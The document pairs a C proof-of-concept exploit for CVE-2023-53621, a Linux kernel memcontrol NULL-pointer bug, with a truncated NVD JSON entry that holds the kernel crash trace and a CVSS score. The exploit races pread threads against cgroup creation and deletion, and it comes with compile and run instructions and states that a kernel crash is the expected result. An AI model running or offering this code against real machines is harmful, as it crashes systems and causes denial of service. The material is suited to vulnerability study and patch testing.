CVE-2023-53621

// CVE-2023-53621 PoC - Trigger NULL pointer dereference in memcontrol // This PoC triggers the vulnerability by performing rapid file reads // while memory cgroups are being created and destroyed #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> #include <pthread.h> #include <sys/stat.h> #define FILE_SIZE (100 * 1024 * 1024) // 100MB #define NUM_THREADS 16 #define READ_SIZE 4096 // Thread function to continuously read from file using pread64 void* reader_thread(void* arg) { int fd = *(int*)arg; char buf[READ_SIZE]; while (1) { // Use pread64 to trigger the vulnerable code path // This calls: pread64 -> filemap_read -> page_cache_sync_ra // -> workingset_refault -> mem_cgroup_get_nr_swap_pages pread(fd, buf, READ_SIZE, random() % (FILE_SIZE - READ_SIZE)); usleep(1); } return NULL; } // Thread function to rapidly create/destroy memory cgroups // This causes memcg ID recycling which triggers the race condition void* cgroup_thread(void* arg) { while (1) { // Create new cgroup directory (triggers memcg allocation) mkdir("/sys/fs/cgroup/memory/test_cgroup", 0755); usleep(10); // Remove cgroup (triggers memcg destruction and ID release) rmdir("/sys/fs/cgroup/memory/test_cgroup"); usleep(10); } return NULL; } int main() { int fd; pthread_t readers[NUM_THREADS]; pthread_t cgroup_creator; // Create a large file to read fd = open("/tmp/large_file", O_RDWR | O_CREAT, 0644); if (fd < 0) { perror("open"); return 1; } // Extend file to FILE_SIZE ftruncate(fd, FILE_SIZE); // Start reader threads to trigger workingset_refault path for (int i = 0; i < NUM_THREADS; i++) { pthread_create(&readers[i], NULL, reader_thread, &fd); } // Start cgroup creator/destroyer thread to trigger memcg ID recycling pthread_create(&cgroup_creator, NULL, cgroup_thread, NULL); // Wait for threads (vulnerability should trigger kernel panic) for (int i = 0; i < NUM_THREADS; i++) { pthread_join(readers[i], NULL); } pthread_join(cgroup_creator, NULL); close(fd); return 0; } // Compile: gcc -o poc poc.c -lpthread // Run: sudo ./poc // Expected result: Kernel NULL pointer dereference and system crash // Bug signature: BUG: kernel NULL pointer dereference in mem_cgroup_get_nr_swap_pages

{"cve": {"id": "CVE-2023-53621", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:44.810", "lastModified": "2026-02-05T14:48:27.623", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmemcontrol: ensure memcg acquired by id is properly set up\n\nIn the eviction recency check, we attempt to retrieve the memcg to which\nthe folio belonged when it was evicted, by the memcg id stored in the\nshadow entry. However, there is a chance that the retrieved memcg is not\nthe original memcg that has been killed, but a new one which happens to\nhave the same id.\n\nThis is a somewhat unfortunate, but acceptable and rare inaccuracy in the\nheuristics. However, if we retrieve this new memcg between its allocation\nand when it is properly attached to the memcg hierarchy, we could run into\nthe following NULL pointer exception during the memcg hierarchy traversal\ndone in mem_cgroup_get_nr_swap_pages():\n\n[ 155757.793456] BUG: kernel NULL pointer dereference, address: 00000000000000c0\n[ 155757.807568] #PF: supervisor read access in kernel mode\n[ 155757.818024] #PF: error_code(0x0000) - not-present page\n[ 155757.828482] PGD 401f77067 P4D 401f77067 PUD 401f76067 PMD 0\n[ 155757.839985] Oops: 0000 [#1] SMP\n[ 155757.887870] RIP: 0010:mem_cgroup_get_nr_swap_pages+0x3d/0xb0\n[ 155757.899377] Code: 29 19 4a 02 48 39 f9 74 63 48 8b 97 c0 00 00 00 48 8b b7 58 02 00 00 48 2b b7 c0 01 00 00 48 39 f0 48 0f 4d c6 48 39 d1 74 42 <48> 8b b2 c0 00 00 00 48 8b ba 58 02 00 00 48 2b ba c0 01 00 00 48\n[ 155757.937125] RSP: 0018:ffffc9002ecdfbc8 EFLAGS: 00010286\n[ 155757.947755] RAX: 00000000003a3b1c RBX: 000007ffffffffff RCX: ffff888280183000\n[ 155757.962202] RDX: 0000000000000000 RSI: 0007ffffffffffff RDI: ffff888bbc2d1000\n[ 155757.976648] RBP: 0000000000000001 R08: 000000000000000b R09: ffff888ad9cedba0\n[ 155757.991094] R10: ffffea0039c07900 R11: 0000000000000010 R12: ffff888b23a7b000\n[ 155758.005540] R13: 0000000000000000 R14: ffff888bbc2d1000 R15: 000007ffffc71354\n[ 155758.019991] FS: 00007f6234c68640(0000) GS:ffff88903f9c0000(0000) knlGS:0000000000000000\n[ 155758.036356] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 155758.048023] CR2: 00000000000000c0 CR3: 0000000a83eb8004 CR4: 00000000007706e0\n[ 155758.062473] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[ 155758.076924] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n[ 155758.091376] PKRU: 55555554\n[ 155758.096957] Call Trace:\n[ 155758.102016] <TASK>\n[ 155758.106502] ? __die+0x78/0xc0\n[ 155758.112793] ? page_fault_oops+0x286/0x380\n[ 155758.121175] ? exc_page_fault+0x5d/0x110\n[ 155758.129209] ? asm_exc_page_fault+0x22/0x30\n[ 155758.137763] ? mem_cgroup_get_nr_swap_pages+0x3d/0xb0\n[ 155758.148060] workingset_test_recent+0xda/0x1b0\n[ 155758.157133] workingset_refault+0xca/0x1e0\n[ 155758.165508] filemap_add_folio+0x4d/0x70\n[ 155758.173538] page_cache_ra_unbounded+0xed/0x190\n[ 155758.182919] page_cache_sync_ra+0xd6/0x1e0\n[ 155758.191738] filemap_read+0x68d/0xdf0\n[ 155758.199495] ? mlx5e_napi_poll+0x123/0x940\n[ 155758.207981] ? __napi_schedule+0x55/0x90\n[ 155758.216095] __x64_sys_pread64+0x1d6/0x2c0\n[ 155758.224601] do_syscall_64+0x3d/0x80\n[ 155758.232058] entry_SYSCALL_64_after_hwframe+0x46/0xb0\n[ 155758.242473] RIP: 0033:0x7f62c29153b5\n[ 155758.249938] Code: e8 48 89 75 f0 89 7d f8 48 89 4d e0 e8 b4 e6 f7 ff 41 89 c0 4c 8b 55 e0 48 8b 55 e8 48 8b 75 f0 8b 7d f8 b8 11 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 33 44 89 c7 48 89 45 f8 e8 e7 e6 f7 ff 48 8b\n[ 155758.288005] RSP: 002b:00007f6234c5ffd0 EFLAGS: 00000293 ORIG_RAX: 0000000000000011\n[ 155758.303474] RAX: ffffffffffffffda RBX: 00007f628c4e70c0 RCX: 00007f62c29153b5\n[ 155758.318075] RDX: 000000000003c041 RSI: 00007f61d2986000 RDI: 0000000000000076\n[ 155758.332678] RBP: 00007f6234c5fff0 R08: 0000000000000000 R09: 0000000064d5230c\n[ 155758.347452] R10: 000000000027d450 R11: 0000000000000293 R12: 000000000003c041\n[ 155758.362044] R13: 00007f61d2986000 R14: 00007f629e11b060 R15: 000000000027d450\n[ 155758.376661] </TASK>\n\nThis patch fixes the issue by moving the memcg's id publication from the\nalloc stage to \n---truncated---"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMa ... (truncated)